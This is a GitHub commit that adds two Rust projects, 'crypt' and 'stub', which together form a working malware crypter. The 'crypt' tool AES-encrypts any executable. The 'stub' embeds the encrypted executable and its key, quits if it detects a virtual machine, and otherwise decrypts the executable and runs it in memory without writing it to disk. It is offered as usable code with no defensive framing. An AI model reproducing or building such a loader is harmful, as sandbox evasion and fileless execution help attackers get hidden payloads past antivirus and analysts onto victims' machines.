Added projects
contains "crypt" and "stub"
This commit is contained in:
Daniel Ballard
GitHub
parent
6ac9f77fb0
commit
de3c9d2b2d
183
crypt/Cargo.lock
generated
Normal file
183
crypt/Cargo.lock
generated
Normal file
@ -0,0 +1,183 @@
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# This file is automatically @generated by Cargo.
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# It is not intended for manual editing.
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version = 3
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[[package]]
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name = "aes"
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||||
version = "0.8.2"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "433cfd6710c9986c576a25ca913c39d66a6474107b406f34f91d4a8923395241"
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dependencies = [
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"cfg-if",
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"cipher 0.4.4",
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"cpufeatures",
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]
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[[package]]
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name = "block-modes"
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version = "0.7.0"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "57a0e8073e8baa88212fb5823574c02ebccb395136ba9a164ab89379ec6072f0"
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dependencies = [
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"block-padding",
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"cipher 0.2.5",
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]
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[[package]]
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name = "block-padding"
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version = "0.2.1"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "8d696c370c750c948ada61c69a0ee2cbbb9c50b1019ddb86d9317157a99c2cae"
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[[package]]
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name = "cfg-if"
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version = "1.0.0"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
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[[package]]
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name = "cipher"
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version = "0.2.5"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "12f8e7987cbd042a63249497f41aed09f8e65add917ea6566effbc56578d6801"
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dependencies = [
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"generic-array",
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]
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[[package]]
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name = "cipher"
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version = "0.4.4"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
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dependencies = [
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"crypto-common",
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"inout",
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]
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[[package]]
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name = "cpufeatures"
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version = "0.2.7"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "3e4c1eaa2012c47becbbad2ab175484c2a84d1185b566fb2cc5b8707343dfe58"
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dependencies = [
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"libc",
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]
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[[package]]
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name = "crypt"
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version = "0.1.0"
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dependencies = [
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"aes",
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"block-modes",
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"crypto",
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"rand",
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]
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[[package]]
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name = "crypto"
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version = "0.4.0"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "17d88231face754cdb045c1b65912a0f4ff78ca24bf371e30a4a8cfa993b3897"
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dependencies = [
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"crypto-common",
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]
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[[package]]
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name = "crypto-common"
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version = "0.1.6"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3"
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dependencies = [
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"generic-array",
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"typenum",
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]
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[[package]]
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name = "generic-array"
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version = "0.14.7"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a"
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dependencies = [
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"typenum",
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"version_check",
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]
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[[package]]
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name = "getrandom"
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version = "0.2.9"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "c85e1d9ab2eadba7e5040d4e09cbd6d072b76a557ad64e797c2cb9d4da21d7e4"
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dependencies = [
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"cfg-if",
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"libc",
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"wasi",
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]
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[[package]]
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name = "inout"
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version = "0.1.3"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "a0c10553d664a4d0bcff9f4215d0aac67a639cc68ef660840afe309b807bc9f5"
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dependencies = [
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"generic-array",
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]
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[[package]]
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name = "libc"
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version = "0.2.144"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "2b00cc1c228a6782d0f076e7b232802e0c5689d41bb5df366f2a6b6621cfdfe1"
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[[package]]
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name = "ppv-lite86"
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version = "0.2.17"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de"
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[[package]]
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name = "rand"
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version = "0.8.5"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
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dependencies = [
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"libc",
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"rand_chacha",
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"rand_core",
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]
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[[package]]
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name = "rand_chacha"
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version = "0.3.1"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
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dependencies = [
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"ppv-lite86",
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"rand_core",
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]
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[[package]]
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name = "rand_core"
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version = "0.6.4"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
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dependencies = [
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"getrandom",
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]
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[[package]]
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name = "typenum"
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version = "1.16.0"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "497961ef93d974e23eb6f433eb5fe1b7930b659f06d12dec6fc44a8f554c0bba"
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[[package]]
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name = "version_check"
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version = "0.9.4"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
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[[package]]
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name = "wasi"
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version = "0.11.0+wasi-snapshot-preview1"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
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12
crypt/Cargo.toml
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12
crypt/Cargo.toml
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@ -0,0 +1,12 @@
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[package]
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name = "crypt"
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version = "0.1.0"
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edition = "2021"
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# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
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[dependencies]
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block-modes = "0.7.0"
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rand = "0.8.4"
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aes = "0.8.2"
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crypto = "0.4.0"
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46
crypt/src/main.rs
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46
crypt/src/main.rs
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@ -0,0 +1,46 @@
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use aes::Aes128;
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use aes::cipher::{
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BlockEncrypt, KeyInit,
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generic_array::GenericArray,
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};
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use std::fs::read;
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use std::fs::File;
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use std::io::prelude::*;
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use rand::rngs::StdRng;
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use rand::{RngCore, SeedableRng};
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fn main() -> std::io::Result<()> {
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// Read input file into a vector RENAME example.exe to what you want and put it in this "crypt" folder
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let plaintext_bytes = read("example.exe").expect("Failed to read file");
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let mut encrypted_file = File::create("encrypted_Input.bin")?;
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let mut key_file = File::create("key.txt")?;
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// Define block size, in this case AES-128
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let block_size = 16;
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// Pad the bytes
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let padding_size = block_size - (plaintext_bytes.len() % block_size);
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let mut padded_plaintext_bytes = plaintext_bytes.clone();
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padded_plaintext_bytes.extend(vec![padding_size as u8; padding_size]);
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// Gen cipher with a key using nonce token
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let mut nonce = [0u8; 16];
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let mut rng = StdRng::from_entropy();
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rng.fill_bytes(&mut nonce);
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let key = GenericArray::from_slice(&nonce);
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let cipher = Aes128::new(&key);
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// Encrypt the bytes in blocks
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let mut enc_bytes = Vec::new();
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for block in padded_plaintext_bytes.chunks(block_size) {
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let mut block_array = GenericArray::clone_from_slice(block);
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cipher.encrypt_block(&mut block_array);
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enc_bytes.extend_from_slice(&block_array);
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}
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encrypted_file.write_all(&enc_bytes)?;
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key_file.write_all(&key)?;
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Ok(())
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}
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107
stub/Cargo.lock
generated
Normal file
107
stub/Cargo.lock
generated
Normal file
@ -0,0 +1,107 @@
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# This file is automatically @generated by Cargo.
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# It is not intended for manual editing.
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version = 3
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[[package]]
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name = "aes"
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version = "0.8.2"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "433cfd6710c9986c576a25ca913c39d66a6474107b406f34f91d4a8923395241"
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dependencies = [
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"cfg-if",
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"cipher",
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"cpufeatures",
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]
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[[package]]
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name = "cfg-if"
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version = "1.0.0"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
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[[package]]
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name = "cipher"
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version = "0.4.4"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
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dependencies = [
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"crypto-common",
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"inout",
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]
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[[package]]
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name = "cpufeatures"
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version = "0.2.7"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "3e4c1eaa2012c47becbbad2ab175484c2a84d1185b566fb2cc5b8707343dfe58"
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dependencies = [
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"libc",
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]
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[[package]]
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name = "crypto-common"
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version = "0.1.6"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3"
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dependencies = [
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"generic-array",
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"typenum",
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]
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[[package]]
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name = "generic-array"
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version = "0.14.7"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a"
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dependencies = [
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"typenum",
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"version_check",
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]
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[[package]]
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name = "inout"
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version = "0.1.3"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "a0c10553d664a4d0bcff9f4215d0aac67a639cc68ef660840afe309b807bc9f5"
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dependencies = [
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"generic-array",
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]
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[[package]]
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name = "inside-vm"
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version = "0.2.0"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "3518e289386082220db48c380f414722e25263af4160f8577c247dae0c6f3829"
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[[package]]
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name = "libc"
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version = "0.2.144"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "2b00cc1c228a6782d0f076e7b232802e0c5689d41bb5df366f2a6b6621cfdfe1"
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[[package]]
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name = "memexec"
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version = "0.2.0"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "bc62ccb14881da5d1862cda3a9648fb4a4897b2aff0b2557b89da44a5e550b7c"
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[[package]]
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name = "stub"
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version = "0.1.0"
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dependencies = [
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"aes",
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"inside-vm",
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"memexec",
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]
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[[package]]
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name = "typenum"
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version = "1.16.0"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "497961ef93d974e23eb6f433eb5fe1b7930b659f06d12dec6fc44a8f554c0bba"
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||||
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[[package]]
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name = "version_check"
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version = "0.9.4"
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source = "registry+https://github.com/rust-lang/crates.io-index"
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checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f"
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11
stub/Cargo.toml
Normal file
11
stub/Cargo.toml
Normal file
@ -0,0 +1,11 @@
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[package]
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name = "stub"
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version = "0.1.0"
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edition = "2021"
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# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
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[dependencies]
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inside-vm = "0.2.0"
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aes = "0.8.2"
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memexec = "0.2"
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52
stub/src/main.rs
Normal file
52
stub/src/main.rs
Normal file
@ -0,0 +1,52 @@
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use aes::Aes128;
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use aes::cipher::{BlockDecrypt, KeyInit,
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generic_array::GenericArray,
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};
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use inside_vm::inside_vm;
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use std::io::{Read, Cursor};
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use std::io::Result;
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||||
fn main(){
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if inside_vm(){
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println!("This is in a vm");
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std::process::exit(0);
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} else {
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println!("NO VM");
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let pe_bytes = decrypt_file().unwrap();
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fileless(pe_bytes);
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}
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}
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fn decrypt_file() -> Result<Vec<u8>> {
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// Read encrypted bytes and store bytes of key :3
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let encrypted_bytes = include_bytes!("encrypted_Input.bin");
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let mut key_bytes: [u8; 16] = [0; 16];
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let mut key_file = Cursor::new(include_bytes!("key.txt"));
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key_file.read_exact(&mut key_bytes)?;
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// Gen cipher with the key B-)
|
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let key = GenericArray::from(key_bytes);
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let cipher = Aes128::new(&key);
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|
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// Decrypt the encrypted bytes in blocks
|
||||
let mut decrypted_bytes = Vec::new();
|
||||
for block in encrypted_bytes.chunks(16) {
|
||||
let mut block_array = GenericArray::clone_from_slice(block);
|
||||
cipher.decrypt_block(&mut block_array);
|
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decrypted_bytes.extend_from_slice(&block_array);
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||||
}
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|
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// Unpad the decrypted bytes
|
||||
let padding_size = decrypted_bytes.last().unwrap().clone() as usize;
|
||||
let decrypted_bytes = (&decrypted_bytes[..decrypted_bytes.len() - padding_size]).to_vec();
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||||
|
||||
// return decrypted bytes
|
||||
Ok(decrypted_bytes, )
|
||||
}
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||||
|
||||
fn fileless(bytes: Vec<u8>){
|
||||
unsafe {
|
||||
memexec::memexec_exe(&bytes).unwrap();
|
||||
}
|
||||
}
|
||||
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